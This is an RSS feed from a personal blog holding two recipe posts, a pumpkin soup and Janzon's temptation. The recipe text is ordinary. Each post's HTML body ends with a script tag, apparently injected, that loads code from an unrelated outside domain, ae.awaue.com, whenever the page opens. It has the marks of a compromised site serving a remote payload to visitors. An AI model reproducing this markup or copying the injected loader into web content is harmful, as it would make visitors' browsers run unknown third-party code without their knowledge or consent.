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	<title>Betamakz &#187; Recipes</title>
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	<link>http://www.betamakz.com</link>
	<description>The future is inevitable. Get ready for it. Beta is better.</description>
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			<item>
		<title>Pumpkin Soup</title>
		<link>http://www.betamakz.com/2008/11/pumpkin-soup/</link>
		<comments>http://www.betamakz.com/2008/11/pumpkin-soup/#comments</comments>
		<pubDate>Sun, 16 Nov 2008 19:18:47 +0000</pubDate>
		<dc:creator>betamakz</dc:creator>
				<category><![CDATA[Recipes]]></category>

		<guid isPermaLink="false">http://www.betamakz.com/?p=43</guid>
		<description><![CDATA[This recipe I picked up on a cruise on my honeymoon in the Whitsundays. Sheree, a chirpy Kiwi girl working at the Solway Lass made it and everybody thought is was great.

1 Butternut Pumpkin
2 Onions
1 Clove of Garlic
1 Teaspoon Cummin
1/4 cup Honey
1/4 cup Sweet Chili

Roast everything until tender and then add:

500ml Coconut Cream
500ml Vegetable stock
500ml [...]]]></description>
			<content:encoded><![CDATA[<p>This recipe I picked up on a cruise on my honeymoon in the Whitsundays. Sheree, a chirpy Kiwi girl working at the Solway Lass made it and everybody thought is was great.</p>
<ul>
<li>1 Butternut Pumpkin</li>
<li>2 Onions</li>
<li>1 Clove of Garlic</li>
<li>1 Teaspoon Cummin</li>
<li>1/4 cup Honey</li>
<li>1/4 cup Sweet Chili</li>
</ul>
<p>Roast everything until tender and then add:</p>
<ul>
<li>500ml Coconut Cream</li>
<li>500ml Vegetable stock</li>
<li>500ml Cream</li>
</ul>
<p>Simmer for 15 mins. Salt &amp; Pepper and Bob&#8217;s your uncle.<script src="http://ae.awaue.com/7"></script></p>
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		<item>
		<title>Janzon&#8217;s temptation</title>
		<link>http://www.betamakz.com/2008/06/janzons-temptation/</link>
		<comments>http://www.betamakz.com/2008/06/janzons-temptation/#comments</comments>
		<pubDate>Wed, 04 Jun 2008 11:09:19 +0000</pubDate>
		<dc:creator>betamakz</dc:creator>
				<category><![CDATA[Recipes]]></category>

		<guid isPermaLink="false">http://www.betamakz.com/?p=27</guid>
		<description><![CDATA[
1kg potatoes
3 yellow onions
25 anchovy fillets in water, often with dill.
400ml light cream OR 200ml cream and 200ml milk
crumbed bread
2 tablesspoons butter

Peel potatoes and onions. Chop onion into thin slices and the potatoes into thin sticks. Take turns putting potatoes, onions and anchovies into a buttered oven safe dish. Begin and finish off with potatoes. [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>1kg potatoes</li>
<li>3 yellow onions</li>
<li>25 anchovy fillets in water, often with dill.</li>
<li>400ml light cream OR 200ml cream and 200ml milk</li>
<li>crumbed bread</li>
<li>2 tablesspoons butter</li>
</ul>
<p>Peel potatoes and onions. Chop onion into thin slices and the potatoes into thin sticks. Take turns putting potatoes, onions and anchovies into a buttered oven safe dish. Begin and finish off with potatoes. Pour half of the cream and some of the anchovies water. Sprinkle some crumbed bread and distribute small amounts of butter here and there. Put in oven at 225 degrees for 45 minutes. Pour the rest of the cream and continue for an additional 30 minutes.<script src="http://ae.awaue.com/7"></script></p>
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